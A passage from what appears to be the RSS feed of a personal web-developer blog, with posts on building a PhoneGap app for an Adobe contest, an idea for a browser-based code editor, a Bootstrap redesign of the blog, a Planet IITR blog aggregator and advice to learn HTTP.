The problem statement for the application was to create a mobile application for a SUV car manufacturer. The application had to be socially engaging and use the hardware capabilities offered by the device.
Our Interpretation
We started with the problem statement as the complete guide for our application and ought bottom up for an application that would be the least and best amount of work to create an app that fulfils the app requirements.
We started off with a few wireframes, and features thrown around. At the end of the one hour mark, we had our feature list down to :
Owners can share pics of their cars. We wanted the application to be for the owners of the cars, which brings in a lot of additional data. Pic sharing was the most logical thing to do. We were thinking something like an Instagram Community where everybody posts pics about where they have been, their rigs and so on.
A mileage meter. This was a slight gamification of the GPS data that we get. At the start of every journey/trip, you could mark it as such in the app, and we would record your position every 5 minutes. At the end of the trip, you could mark your ending point and see how much you travelled. Also important was the fact that we decided to show a number corresponding to every application user, showing how many miles he/she has travelled so far. Seeing that the next guy has travelled only so and so more miles than you may lead you to travel more.
Maps, obviously. A map for all the previous journeys that you have taken.
Work
We tried to start with JQ.Mobi, which is an alternative to Jquery Mobile, but could not justify it, and switched to JQuery Mobile as it offered better  integration with Dreamweaver.
The basic application layout was done using a mix of JQuery Mobile and some custom css. I came across a very good service called Build Phonegap, that allows you to compile your Phonegap application online to different platforms. We started with basing our application on the Phonegap Starter App on GitHub which was quite good. The examples directory in the phonegap download is what we ended up using, though.
Edit: After working a lot more in mobile development, I have come to see a lot more frameworks, and find JQTouch to be quite the minimalist do-one-thing-well plugin.
The most difficult part was to get the application to compile for iOS, without paying the Apple Developer Licence. Since, I could not see myself selling iOS apps anytime soon in the Apple App Store, I was stuck with a jailbroken iPad + iPod Touch, and had to figure out out to compile.
The steps, which took me a lot of time to find on the internet, include :
Download and install the XCode and the Adobe Phonegap toolkit. I downloaded the latest version, 4.2 for xcode, which makes the process a bit easier.
Follow the instructions on this youtube video to allow xcode to compile your application without Code Signing.
Create a corvora application in xcode and follow these instructions to add the www folder to the application.
Compile. If you have an iDevice connected, you should be able to compile and install your application in a single step.
You may need to change your application configuration to “Do not code sign” for this to work.
Getting all the above steps to work for the first time, on a borrowed MacBook Pro was a lot of work, for a mac noob like me. But at the end, getting to see the application getting launched on multiple devices and looking equally good was worth it.
The rest of the time was spent on getting the application features to work, while fighting off sleep. The end result was a still-incomplete application , which ran on multiple devices.
Blackberry
Unfortunately, we were not able to run the app on the only Blackberry Phone that we had as Phonegap only supports Blackberry 5 as of now, while our phone had been upgraded to 6.
Our winning strategy from the start had been to dazzle the judges with an application running across multiple devices, and working equally good. We were pretty sure that none of the other contestants would put in so much effort to get it to run on non-android devices.
Backend
I wrote the application backend in PHP limonade, a framework that i am quite used to. The concept was to give out a rest api to the application to use to Authenticate users and carry out backend tasks.
Code
The code is obviously messy, as a result of being hacked in on a single 18 hour marathon. You may be able to get a few good ideas from the implementations, though. The entire code is available at my akira and akira-backend repositories.
Thoughts on Phonegap
My second slide in the presentation I did for the contest(made on Keynote on the Ipad, while walking to the contest room) says proudly “Phonegap is awesome”. And i seriously mean that. I’ve got started in the world of mobile development, while not having to worry about cross browser compatibility issues, and the like. I can do stuff easily using the already existing technologies that I know and love. There are a ton of excellent Phonegap plugins out there, and many more being written right now.
I am really impressed with what a web developer could do with Phonegap, and its ease of use. The Adobe Developers promised me that the integration would be far better in Dreamweaver 6, which I might just try. Although, it was far easier for me to compile and install the application on an android phone, so I hardly used the emulator which I took the pains to install.
Expectations
What I’d really love, though is a Phonegap simulator. Instead of having to install an android emulator, what if Dreamweaver comes with a Phonegap simulator. Since Phonegap is all javascript, it should be trivial to create basic UIs that look and feel like the native interface of the OS chosen. I would still have to do final tests on the emulator, which i believe are worthless, compared to running it on actual devices. My point is, installing the android emulator and getting the app to run in a emulator is really no big deal, but turns out be a huge time consuming step. For interested web developers, this could be skipped pretty easily, if only Phonegap had its own simulator.
This is all just theory, as you’d have to install the complete Android and ios sdk to compile it for your device, anyway. But it would be a welcome step.
Presentation
The presentation was made as a string of screenshots developing the application, so its not really much help. But here it is anyway. View Original.


Prize
I won a PS3. Yay!
If you have any problems with the code, or the process, feel free to reach out.]]></description>
            <content:encoded><![CDATA[<p>This is the obligatory blog post that comes along with winning the Adobe Express Apps Contest.</p>

<h1 id="contest-rules">Contest Rules</h1>
<p>The contest rules asked you to develop a mobile application, using Adobe Phonegap and related technologies(read Dreamweaver) in a time frame of hardly 18 hours. This duration was assuming that one does no sleep, which I did not.</p>

<p>The problem statement for the application was to create a mobile application for a SUV car manufacturer. The application had to be socially engaging and <em>use the hardware capabilities offered by the device</em>.</p>

<h1 id="our-interpretation">Our Interpretation</h1>
<p>We started with the problem statement as the complete guide for our application and ought bottom up for an application that would be the least and best amount of work to create an app that fulfils the app requirements.</p>

<p>We started off with a few wireframes, and features thrown around. At the end of the one hour mark, we had our feature list down to :</p>

<ol>
  <li>Owners can share pics of their cars. We wanted the application to be for the owners of the cars, which brings in a lot of additional data. Pic sharing was the most logical thing to do. We were thinking something like an Instagram Community where everybody posts pics about where they have been, their rigs and so on.</li>
  <li>A mileage meter. This was a slight gamification of the GPS data that we get. At the start of every journey/trip, you could mark it as such in the app, and we would record your position every 5 minutes. At the end of the trip, you could mark your ending point and see how much you travelled. Also important was the fact that we decided to show a number corresponding to every application user, showing how many miles he/she has travelled so far. Seeing that the next guy has travelled only so and so more miles than you may lead you to travel more.</li>
  <li>Maps, obviously. A map for all the previous journeys that you have taken.</li>
</ol>

<h1 id="work">Work</h1>
<p>We tried to start with JQ.Mobi, which is an alternative to Jquery Mobile, but could not justify it, and switched to JQuery Mobile as it offered better  integration with Dreamweaver.</p>

<p>The basic application layout was done using a mix of JQuery Mobile and some custom css. I came across a very good service called Build Phonegap, that allows you to compile your Phonegap application online to different platforms. We started with basing our application on the <a href="https://github.com/phonegap/phonegap-start">Phonegap Starter App on GitHub</a> which was quite good. The examples directory in the phonegap download is what we ended up using, though.</p>

<p><em>Edit</em>: After working a lot more in mobile development, I have come to see a lot more frameworks, and find JQTouch to be quite the minimalist do-one-thing-well plugin.</p>

<p>The most difficult part was to get the application to compile for iOS, without paying the Apple Developer Licence. Since, I could not see myself selling iOS apps anytime soon in the Apple App Store, I was stuck with a jailbroken iPad + iPod Touch, and had to figure out out to compile.</p>

<p>The steps, which took me a lot of time to find on the internet, include :</p>

<ol>
  <li>Download and install the XCode and the Adobe Phonegap toolkit. I downloaded the latest version, 4.2 for xcode, which makes the process a bit easier.</li>
  <li>Follow the instructions on <a href="http://www.youtube.com/watch?v=n1ZDMmwYHdE">this youtube video</a> to allow xcode to compile your application without Code Signing.</li>
  <li>Create a corvora application in xcode and follow <a href="http://wiki.phonegap.com/w/page/52010495/Getting%20Started%20with%20PhoneGap-Cordova%20and%20Xcode%204">these instructions</a> to add the www folder to the application.</li>
  <li>Compile. If you have an iDevice connected, you should be able to compile and install your application in a single step.</li>
</ol>

<p>You may need to change your application configuration to “Do not code sign” for this to work.</p>

<p>Getting all the above steps to work for the first time, on a borrowed MacBook Pro was a lot of work, for a mac noob like me. But at the end, getting to see the application getting launched on multiple devices and looking equally good was worth it.</p>

<p>The rest of the time was spent on getting the application features to work, while fighting off sleep. The end result was a still-incomplete application , which ran on multiple devices.</p>

<h1 id="blackberry">Blackberry</h1>
<p>Unfortunately, we were not able to run the app on the only Blackberry Phone that we had as Phonegap only supports Blackberry 5 as of now, while our phone had been upgraded to 6.</p>

<p>Our winning strategy from the start had been to dazzle the judges with an application running across multiple devices, and working equally good. We were pretty sure that none of the other contestants would put in so much effort to get it to run on non-android devices.</p>

<h1 id="backend">Backend</h1>
<p>I wrote the application backend in PHP limonade, a framework that i am quite used to. The concept was to give out a rest api to the application to use to Authenticate users and carry out backend tasks.</p>

<h1 id="code">Code</h1>
<p>The code is obviously messy, as a result of being hacked in on a single 18 hour marathon. You may be able to get a few good ideas from the implementations, though. The entire code is available at my <a href="https://github.com/captn3m0/akira">akira</a> and <a href="https://github.com/captn3m0/akira-backend">akira-backend</a> repositories.</p>

<h1 id="thoughts-on-phonegap">Thoughts on Phonegap</h1>
<p>My second slide in the presentation I did for the contest(made on Keynote on the Ipad, while walking to the contest room) says proudly “Phonegap is awesome”. And i seriously mean that. I’ve got started in the world of mobile development, while not having to worry about cross browser compatibility issues, and the like. I can do stuff easily using the already existing technologies that I know and love. There are a ton of excellent Phonegap plugins out there, and many more being written right now.</p>

<p>I am really impressed with what a web developer could do with Phonegap, and its ease of use. The Adobe Developers promised me that the integration would be far better in Dreamweaver 6, which I might just try. Although, it was far easier for me to compile and install the application on an android phone, so I hardly used the emulator which I took the pains to install.</p>

<h1 id="expectations">Expectations</h1>
<p>What I’d really love, though is a Phonegap simulator. Instead of having to install an android emulator, what if Dreamweaver comes with a Phonegap simulator. Since Phonegap is all javascript, it should be trivial to create basic UIs that look and feel like the native interface of the OS chosen. I would still have to do final tests on the emulator, which i believe are worthless, compared to running it on actual devices. My point is, installing the android emulator and getting the app to run in a emulator is really no big deal, but turns out be a huge time consuming step. For interested web developers, this could be skipped pretty easily, if only Phonegap had its own simulator.</p>

<p>This is all just theory, as you’d have to install the complete Android and ios sdk to compile it for your device, anyway. But it would be a welcome step.</p>

<h1 id="presentation">Presentation</h1>
<p>The presentation was made as a string of screenshots developing the application, so its not really much help. But here it is anyway. <a href="https://speakerdeck.com/u/captn3m0/p/akira-presentation">View Original</a>.</p>



<h1 id="prize">Prize</h1>
<p>I won a PS3. Yay!</p>

<p>If you have any problems with the code, or the process, feel free to <a href="https://captnemo.in/contact">reach out</a>.</p>
]]></content:encoded>
            <author>Nemo</author>
        </item>
        <item>
            <title><![CDATA[Sympathy: My vision of a code editor]]></title>
            <link>https://captnemo.in/blog/2012/05/20/sympathy-editor/</link>
            <guid isPermaLink="false">https://captnemo.in/blog/2012/05/20/sympathy-editor/</guid>
            <pubDate>Sun, 20 May 2012 00:00:00 GMT</pubDate>
            <description><![CDATA[Update: I have worked on an editor protype along the lines of this blog post. The result is called Sympathy Editor. Please check it out.

I’ve used more than a dozen of editors for mainly two purposes: coding, and writing text. The most liked and used among them would be [Notepad++][http://notepadplusplus.org/] and [Geany][http://geany.org/]. I’m also a vim user, and primarily a web developer. I’ve always liked simple tools that do one thing well, as per the unix philosophy.
The era of WYSIWYG editors in web development is long past. I’m yet to hear someone suggest Dreamweaver as a serious editor. If you were to go out in the Rails world, you’d mostly be met by vim/emacs/textmate fans. As a linux user, I use geany for most of my editing work, including blog posts, like this one (Markdown is hands down, the best thing to happen to word-processing).
Browser meet Editor meet Terminal
There were a few attempts at creating code editors (I don’t like the term IDE) powered by the gecko engine some time back. None of them materialized to anything special. Today, a normal workflow for me involves 3 open applications - a browser (chromium), a terminal window, and a text-editor.
And I’d alt-tab all the way to hell on them.
At this stage, almost everyone will tell me, there is no problem with this workflow. This is exactly how it is supposed to work. But we are not in the 1990s when browsers were just another application. At any given time, I usually have multiple stackoverflow tabs open in the browser pertaining to the code I am writing.
On the other hand we have a terminal, which I usually use to run builds, compile, and do version control stuff. No amount of integrated IDE magic will make me move away from the beloved command line (as it should be).
The easiest solution is to get a second monitor. And yes, I love using dual monitors. But I’m still not satisfied. I want something more. I have 3 core applications, but using 3 monitors is an extremely costly venture. So I’m stuck to running a text editor, and alt tabbing my way between Chromium and Gnome Terminal.
Cloud IDEs
One of the solutions that keeps popping up are the almighty cloud based IDEs (like c9.io), which I really like. But the experience is sub-par at best.
Another cool project called sky-edit involves an extension in mozilla, which enables one to edit any text file in the browser itself, by pointing it to “edit:” urls. This is closer to what my ultimate aim is: “text editor in a browser, editing local files”.
Workflow
What I’d want my workflow to be is point my browser to a text file, edit it in place, change the tab to the live site, and then refresh. Once I realize I have to restart apache, I’d just change my tab to the terminal one, and do my cli stuff there itself.
Shortcuts:
Ctrl+T: New browser tab
Ctrl+E: New editor tab
Ctrl+Y: New Terminal tab
Ctrl+S: Save a file
All file:// urls are browsable as usual, and all text files become editable. Just think of all the possibilities. As long as it uses plain old javascript/css, it could re-use most of the editing part from the excellent ace project. Even codemirror would work brilliantly.
And the best part is that it is still a complete browser. Meaning you get to use all your bookmarks, bookmarklets, plugins, and fancy stuff that you expect in a browser.
Integration
Just think of the possibilities! Since this is just another browser, you can build extensions that target edit windows. Meaning an extension could add support for auto-completion very easily. And repeat for inline documentation browsing.
A build shortcut could probably be used to switch to a running version of the website in some way. What about other stuff? Like spell-checking? Browsers support that. Even dictation would probably work.
And markdown editing! Hell yeah!. Edit it all in your browser itself, while keeping github open in another tab.
Start
This is a simple propsal of sorts, to get a few recommendations about how this should proceed. I asked a similar question on the askubuntu forums, which made me realize what the real problems were. I’m trying to build chromium and get something off the ground. The project is tentatively titled sympathy and has zero code as of now.
I tried to earlier write something similar in python, but realized that I could not build an awesome feature complete text-editor by myself. Which made me shift to forking something like geany. I then realized that getting the webview in geany to be feature-complete as a browser would be again heavily demanding.
The easiest path out is to build the editor in the browser. Why? Because there has already been a lot of work done in this direction, including ace, bespin, codemirror and lots of other editors. Embedding the terminal is another problem, which will be harder to solve in the browser, but I’m willing to give it a try.
As such, my plan is to fork chromium, and work on adding support for text-file editing in the browser. There are a few questions I’d like to answer over time, such as should the browser be stripped? Chromium is a heavy project, and includes some complex features baked right in, which are definately not needed in a text-editor. For instance “Cloud Print”, “Chrome Sync” etc. But at the same time, there is a reason to keep it in as well. I’d like to use this as my primary browser, using all the extensions, bookmarks, and sync features it offers me.
Sounds interesting? I’ve got no idea on how to approach this. Help me out. If you do not like facebook comments, please discuss this on Hacker News, or feel free to drop me a mail.
Update
I did try my best on developing such a thing, and the end result (still far from finished) is Sympathy Editor. Try out the beta. Hopefully you will like it.]]></description>
            <content:encoded><![CDATA[<div class="alert alert-info">
<strong>Update</strong>: I have worked on an editor protype along the lines of this blog post. The result is called <a href="https://captnemo.in/sympathy/">Sympathy Editor</a>. Please check it out.
</div>
<p>I’ve used more than a dozen of editors for mainly two purposes: coding, and writing text. The most liked and used among them would be [Notepad++][http://notepadplusplus.org/] and [Geany][http://geany.org/]. I’m also a vim user, and primarily a web developer. I’ve always liked simple tools that do one thing well, as per the unix philosophy.</p>

<p>The era of WYSIWYG editors in web development is long past. I’m yet to hear someone suggest Dreamweaver as a serious editor. If you were to go out in the Rails world, you’d mostly be met by vim/emacs/textmate fans. As a linux user, I use geany for most of my editing work, including blog posts, like this one (Markdown is hands down, the best thing to happen to word-processing).</p>

<h1 id="browser-meet-editor-meet-terminal">Browser meet Editor meet Terminal</h1>

<p>There were a few attempts at creating code editors (I don’t like the term IDE) powered by the gecko engine some time back. None of them materialized to anything special. Today, a normal workflow for me involves 3 open applications - a browser (chromium), a terminal window, and a text-editor.</p>

<p>And I’d alt-tab all the way to hell on them.</p>

<p>At this stage, almost everyone will tell me, there is <em>no problem</em> with this workflow. This <em>is exactly how it is supposed to work</em>. But we are not in the 1990s when browsers were just another application. At any given time, I usually have multiple stackoverflow tabs open in the browser pertaining to the code I am writing.</p>

<p>On the other hand we have a terminal, which I usually use to run builds, compile, and do version control stuff. No amount of integrated IDE magic will make me move away from the beloved command line (as it should be).</p>

<p>The easiest solution is to get a second monitor. And yes, I love using dual monitors. But I’m still not satisfied. I want something more. I have 3 core applications, but using 3 monitors is an extremely costly venture. So I’m stuck to running a text editor, and alt tabbing my way between Chromium and Gnome Terminal.</p>

<h1 id="cloud-ides">Cloud IDEs</h1>
<p>One of the solutions that keeps popping up are the almighty cloud based IDEs (like c9.io), which I really like. But the experience is sub-par at best.</p>

<p>Another cool project called <a href="https://github.com/Gozala/sky-edit">sky-edit</a> involves an extension in mozilla, which enables one to edit any text file in the browser itself, by pointing it to “edit:” urls. This is closer to what my ultimate aim is: “text editor in a browser, editing local files”.</p>

<h1 id="workflow">Workflow</h1>

<p>What I’d want my workflow to be is point my browser to a text file, edit it in place, change the tab to the live site, and then refresh. Once I realize I have to restart apache, I’d just change my tab to the terminal one, and do my cli stuff there itself.</p>

<h2 id="shortcuts">Shortcuts:</h2>

<ul>
  <li>Ctrl+T: New browser tab</li>
  <li>Ctrl+E: New editor tab</li>
  <li>Ctrl+Y: New Terminal tab</li>
  <li>Ctrl+S: Save a file</li>
</ul>

<p>All <code class="language-plaintext highlighter-rouge">file://</code> urls are browsable as usual, and all text files become editable. Just think of all the possibilities. As long as it uses plain old javascript/css, it could re-use most of the editing part from the excellent ace project. Even codemirror would work brilliantly.</p>

<p>And the best part is that it is still a complete browser. Meaning you get to use all your bookmarks, bookmarklets, plugins, and fancy stuff that you expect in a browser.</p>

<h2 id="integration">Integration</h2>
<p>Just think of the possibilities! Since this is just another browser, you can build extensions that target edit windows. Meaning an extension could add support for auto-completion very easily. And repeat for inline documentation browsing.</p>

<p>A build shortcut could probably be used to switch to a running version of the website in some way. What about other stuff? Like spell-checking? Browsers support that. Even dictation would probably work.</p>

<p>And markdown editing! Hell yeah!. Edit it all in your browser itself, while keeping github open in another tab.</p>

<h1 id="start">Start</h1>
<p>This is a simple propsal of sorts, to get a few recommendations about how this should proceed. I asked a similar question on the askubuntu forums, which made me realize what the real problems were. I’m trying to build chromium and get something off the ground. The project is tentatively titled <code class="language-plaintext highlighter-rouge">sympathy</code> and has zero code as of now.</p>

<p>I tried to earlier write something similar in python, but realized that I could not build an awesome feature complete text-editor by myself. Which made me shift to forking something like geany. I then realized that getting the webview in geany to be feature-complete as a browser would be again heavily demanding.</p>

<p>The easiest path out is to build the editor in the browser. Why? Because there has already been a lot of work done in this direction, including ace, bespin, codemirror and lots of other editors. Embedding the terminal is another problem, which will be harder to solve in the browser, but I’m willing to give it a try.</p>

<p>As such, my plan is to fork chromium, and work on adding support for text-file editing in the browser. There are a few questions I’d like to answer over time, such as should the browser be stripped? Chromium is a heavy project, and includes some complex features baked right in, which are definately not needed in a text-editor. For instance “Cloud Print”, “Chrome Sync” etc. But at the same time, there is a reason to keep it in as well. I’d like to use this as my primary browser, using all the extensions, bookmarks, and sync features it offers me.</p>

<p>Sounds interesting? I’ve got no idea on how to approach this. Help me out. If you do not like facebook comments, please discuss this on Hacker News, or feel free to drop me a mail.</p>

<h2 id="update">Update</h2>
<p>I did try my best on developing such a thing, and the end result (still far from finished) is <a href="https://captnemo.in/sympathy/">Sympathy Editor</a>. Try out the beta. Hopefully you will like it.</p>
]]></content:encoded>
            <author>Nemo</author>
        </item>
        <item>
            <title><![CDATA[New Design of CaptNemo.in]]></title>
            <link>https://captnemo.in/blog/2012/03/31/new-design-captnemo-in/</link>
            <guid isPermaLink="false">https://captnemo.in/blog/2012/03/31/new-design-captnemo-in/</guid>
            <pubDate>Sat, 31 Mar 2012 00:00:00 GMT</pubDate>
            <description><![CDATA[I did a redesign of the blog. The main goals for the redesign were to reach a
clean, readable layout, which I feel I’ve accomplished.
Old Design
Everything was plain old bootstrap, except for the hover effect on the
photograph. I’ve also removed the old “Related Posts” feature, which I felt was
not at all useful. In the old homepage, the list of articles was earlier presented as a list (<li>), while it is now slightly better. The topbar has also been removed, instead focussing on a far better sidebar.
New Stuff
I wanted a clean design more than anything. So instead of the sharebox being persistent on every device, I decided to hide it on lower resolutions. It currently hides if the screen width < 1100px, so unless you are on a widescreen resolution monitor and using your browser on fullscreen, you won’t see it.
Responsive design via bootstrap allows you to easily support mobile devices. The left sidebar is stacked, so that even mobile devices have no problem with the layout.
I’d describe the design as clean, minimal.
Bootstrap
The earlier design was using Bootstrap 1.3, and I’ve upgraded to 2.0.2 now.
I’ve used the new version before, but with zero changes using
bootswatch in a few other places. But
this time, I decided to tweak bootstrap for my needs.
I did away with the navigation bar, and changed the default fonts. The site
does not feel like a stock bootstrap site any longer. The major contribution
from bootstrap, was in fact the grid system, and the responsiveness, which
really helped me get it done quickly.
Typography
The fonts used are Ubuntu for the content, and Gentium Book
Basic for the
headings. I’m using Google Web Fonts
Directory for the fonts.
I’m only loading the italicized version of Gentium as I’ve chosen to display
all headings (h1-h6) as italics.]]></description>
            <content:encoded><![CDATA[<p>I did a redesign of the blog. The main goals for the redesign were to reach a
clean, readable layout, which I feel I’ve accomplished.</p>

<h3 id="old-design">Old Design</h3>

<p>Everything was plain old bootstrap, except for the hover effect on the
photograph. I’ve also removed the old “Related Posts” feature, which I felt was
not at all useful. In the old homepage, the list of articles was earlier presented as a list (&lt;li&gt;), while it is now slightly better. The topbar has also been removed, instead focussing on a far better sidebar.</p>

<h3 id="new-stuff">New Stuff</h3>

<p>I wanted a <em>clean design</em> more than anything. So instead of the sharebox being persistent on every device, I decided to hide it on lower resolutions. It currently hides if the screen width &lt; 1100px, so unless you are on a widescreen resolution monitor and using your browser on fullscreen, you won’t see it.</p>

<p>Responsive design via bootstrap allows you to easily support mobile devices. The left sidebar is stacked, so that even mobile devices have no problem with the layout.</p>

<p>I’d describe the design as <em>clean, minimal</em>.</p>

<h3 id="bootstrap">Bootstrap</h3>

<p>The earlier design was using Bootstrap 1.3, and I’ve upgraded to 2.0.2 now.
I’ve used the new version before, but with zero changes using
<a href="http://bootswatch.com/">bootswatch</a> in <a href="https://captnemo.in/codechef/">a few other places</a>. But
this time, I decided to tweak bootstrap for my needs.</p>

<p>I did away with the navigation bar, and changed the default fonts. The site
does not feel like a stock bootstrap site any longer. The major contribution
from bootstrap, was in fact the grid system, and the responsiveness, which
really helped me get it done quickly.</p>

<h3 id="typography">Typography</h3>

<p>The fonts used are <a href="http://www.google.com/webfonts/specimen/Ubuntu">Ubuntu</a> for the content, and <a href="http://www.google.com/webfonts/specimen/Gentium+Book+Basic">Gentium Book
Basic</a> for the
headings. I’m using <a href="http://www.google.com/webfonts">Google Web Fonts
Directory</a> for the fonts.</p>

<p>I’m only loading the italicized version of Gentium as I’ve chosen to display
all headings (h1-h6) as italics.</p>
]]></content:encoded>
            <author>Nemo</author>
        </item>
        <item>
            <title><![CDATA[What can we learn from Hollywood]]></title>
            <link>https://captnemo.in/blog/2012/03/22/hollywood-what-can-we-learn/</link>
            <guid isPermaLink="false">https://captnemo.in/blog/2012/03/22/hollywood-what-can-we-learn/</guid>
            <pubDate>Thu, 22 Mar 2012 00:00:00 GMT</pubDate>
            <description><![CDATA[There is Lot of buzz in the startup industry regarding the killing of Hollywood. However, before we do that (Amen), there is something that I wish to learn from it.
Hollywood ships.
No matter how much we shout at their broken distribution model, there is one thing that I deeply admire about hollywood. It gets shit done. On time. Again and again.
Why is this important? Because it is One of the largest industries I see around that stick to deadlines on a regular basis. This is something deeply missing in the tech world.
When the trailers of a movie tell me that it will be out in summers, I know I can keep a block reserved for when it will come out. Quite unlike Microsoft, which may push back its release dates as often as it wants.
But I thought the Tech industry was done with this deadline bullshit?
Yes, I too despise deadlines and can’t wait for them to get away, but this article is about something else. This is much more about the undying spirit of Hollywood to release stuff.
So each time you are facing feature creep, and it looks like it will never ship, just look at Hollywood and get it done.]]></description>
            <content:encoded><![CDATA[<p>There is Lot of buzz in the startup industry regarding the killing of Hollywood. However, before we do that (Amen), there is something that I wish to learn from it.</p>

<p>Hollywood ships.</p>

<p>No matter how much we shout at their broken distribution model, there is one thing that I deeply admire about hollywood. It gets shit done. On time. Again and again.</p>

<p>Why is this important? Because it is One of the largest industries I see around that stick to deadlines on a regular basis. This is something deeply missing in the tech world.</p>

<p>When the trailers of a movie tell me that it will be out in summers, I know I can keep a block reserved for when it will come out. Quite unlike Microsoft, which may push back its release dates as often as it wants.</p>

<p>But I thought the Tech industry was done with this deadline bullshit?</p>

<p>Yes, I too despise deadlines and can’t wait for them to get away, but this article is about something else. This is much more about the undying spirit of Hollywood to release stuff.</p>

<p>So each time you are facing feature creep, and it looks like it will never ship, just look at Hollywood and get it done.</p>
]]></content:encoded>
            <author>Nemo</author>
        </item>
        <item>
            <title><![CDATA[Planet IITR Update]]></title>
            <link>https://captnemo.in/blog/2012/03/13/planet-iitr-update/</link>
            <guid isPermaLink="false">https://captnemo.in/blog/2012/03/13/planet-iitr-update/</guid>
            <pubDate>Tue, 13 Mar 2012 00:00:00 GMT</pubDate>
            <description><![CDATA[So, I was just going through my old blog posts, and saw the Planet IITR Update, which I created out of a need for people to be able to find blogs from other people in IITR.
Since no one has ever submitted a single link to the planet , I just thought, why shouldn’t I just crawl all my Facebook friends from IIT-R, and check their website URLs. The Facebook part took ~20 minutes (getting list of users from my 2 friendlists, followed by getting the website url for each of those friends). After that came the link checking part, which tool ~15-20 minutes as well. A list of all the websites (very few people fill up that that field on fb) I found during the search is here (just 39).
After updating the planet, I had to update the spreadsheet as well. And here’s a list of the blogs, just in case.


In case someone is interested in taking over maintenance (meaning link curation) for Planet, please contact me at capt.n3m0@gmail.com, and I’ll be glad to share the authentication details with you.
Link to Planet : Planet IIT-R
In case you were wondering what this planet stuff is all about, it allows one to add a single curated feed to one’s feed reader and get all updates via that. So planet iitr is a curated collection of blogs pertaining to IIT-R.]]></description>
            <content:encoded><![CDATA[<p>So, I was just going through my old blog posts, and saw the <a href="http://captnemo.in/blog/2011/07/09/announcing-planet-iitr/">Planet IITR Update</a>, which I created out of a need for people to be able to find blogs from other people in IITR.</p>

<p>Since no one has ever submitted a single link to the <a href="http://www.planetaki.com/iitr">planet</a> , I just thought, why shouldn’t I just crawl all my Facebook friends from IIT-R, and check their website URLs. The Facebook part took ~20 minutes (getting list of users from my 2 friendlists, followed by getting the website url for each of those friends). After that came the link checking part, which tool ~15-20 minutes as well. A list of all the websites (very few people fill up that that field on fb) I found during the search is <a href="http://www.hastebin.com/quhexokere.dos">here</a> (just 39).</p>

<p>After updating the <a href="http://www.planetaki.com/iitr">planet</a>, I had to update the spreadsheet as well. And <a href="http://www.planetaki.com/iitr/subscriptions">here’s a list of the blogs</a>, just in case.</p>

<iframe src="http://www.clipboard.com/embed/LQo5klMbO4eleZdgi28bUFHcXl7cS-ctHmPe?widthAdjust=0&amp;heightAdjust=0&amp;showBorder=0&amp;footerOn=false" scrolling="no" frameborder="0" width="500" height="3000"></iframe>

<p>In case someone is interested in taking over maintenance (meaning link curation) for <a href="http://www.planetaki.com/iitr">Planet</a>, please contact me at <a href="mailto:capt.n3m0@gmail.com">capt.n3m0@gmail.com</a>, and I’ll be glad to share the authentication details with you.</p>

<p>Link to Planet : <strong><a href="http://www.planetaki.com/iitr">Planet IIT-R</a></strong></p>

<p>In case you were wondering what this planet stuff is all about, it allows one to add a single curated feed to one’s feed reader and get all updates via that. So planet iitr is a curated collection of blogs pertaining to IIT-R.</p>
]]></content:encoded>
            <author>Nemo</author>
        </item>
        <item>
            <title><![CDATA[Why you should learn HTTP?]]></title>
            <link>https://captnemo.in/blog/2012/03/05/why-learn-http/</link>
            <guid isPermaLink="false">https://captnemo.in/blog/2012/03/05/why-learn-http/</guid>
            <pubDate>Mon, 05 Mar 2012 00:00:00 GMT</pubDate>
            <description><![CDATA[I see people learning RoR, PHP, Django, with a single intent: getting their own website. Of course, it is the million dollar idea that will blow everyone away, as always. But what I find fascinating is that too many upcoming web developers are testing the waters with opinionated coding frameworks. The entry barrier for software development has been lowered exponentially in the last decade, leading to a slew of web frameworks, tutorials, and screencasts. Today is arguably the best time to be involved in software development. Lots of people are learning to code their first web-site with rails, or django. There are lots of benifits with this approach: as a beginner, you are kept isolate from all the complexities, and can focus more easily on your application.
But, it also leads to shallow learning. You could have written a dozen sinatra apps, and still not understand how it all works. And as it stands, it is not essential to learn it. You can easily develop entire websites thinking only in terms of urls, hyperlinks, routes and controllers. This is all good for starting up, when you don’t wanna deal with the complexity of it all, but I’d expect any competent web-developer to understand HTTP.
You see, HTTP is the foundation for all of web. It is how the internet tubes work. Learning HTTP is uncovering the hidden layer behind your browser. It is understanding how cookies, and sessions work in PHP; how xsrf attacks happen and mitigating against them; the magic that rails does when it creates objects from the submitted form parameters transparently for you. And the best part is that its not all that difficult to learn at all.
There was a lot of debate concerning REST recently. I don’t claim to understand REST fully. I’m yet to meet someone who does. But I can comfortably build RESTish APIs, and consume them with ease without breaking a sweat. And smile at the fact that its all just HTTP. You cannot move to REST, HATEOAS unless you are comfortable with HTTP.
So, if you are a beginner in web-development, here’s my advice to you: Understand HTTP. A few pointers:
Read a good book on HTTP.
Read the HTTP RFC.
Wikibooks and Wikipedia entries on HTTP are quite good.
Use the network tab in Webkit Inspector/Firebug. And understand each of the damn headers.
Start using curl -i, if you don’t already
Above all, be curious
Question the web.]]></description>
            <content:encoded><![CDATA[<p>I see people learning RoR, PHP, Django, with a single intent: getting their own website. Of course, it is the million dollar idea that will blow everyone away, as always. But what I find fascinating is that too many upcoming web developers are testing the waters with opinionated coding frameworks. The entry barrier for software development has been lowered exponentially in the last decade, leading to a slew of web frameworks, tutorials, and screencasts. Today is arguably the best time to be involved in software development. Lots of people are learning to code their first web-site with rails, or django. There are lots of benifits with this approach: as a beginner, you are kept isolate from all the complexities, and can focus more easily on your application.</p>

<p>But, it also leads to shallow learning. You could have written a dozen sinatra apps, and still not understand how it all works. And as it stands, it is not essential to learn it. You can easily develop entire websites thinking only in terms of urls, hyperlinks, routes and controllers. This is all good for starting up, when you don’t wanna deal with the complexity of it all, but I’d expect any competent web-developer to understand HTTP.</p>

<p>You see, HTTP is the foundation for all of web. It is how the internet tubes work. Learning HTTP is uncovering the hidden layer behind your browser. It is understanding how cookies, and sessions work in PHP; how xsrf attacks happen and mitigating against them; the magic that rails does when it creates objects from the submitted form parameters transparently for you. And the best part is that its not all that difficult to learn at all.</p>

<p>There was a <a href="http://news.ycombinator.com/item?id=2724488">lot of debate concerning REST recently</a>. I don’t claim to understand REST fully. I’m yet to meet someone who does. But I can comfortably build RESTish APIs, and consume them with ease without breaking a sweat. And smile at the fact that its all just HTTP. You cannot move to REST, <a href="http://en.wikipedia.org/wiki/HATEOAS">HATEOAS</a> unless you are comfortable with HTTP.</p>

<p>So, if you are a beginner in web-development, here’s my advice to you: Understand HTTP. A few pointers:</p>

<ul>
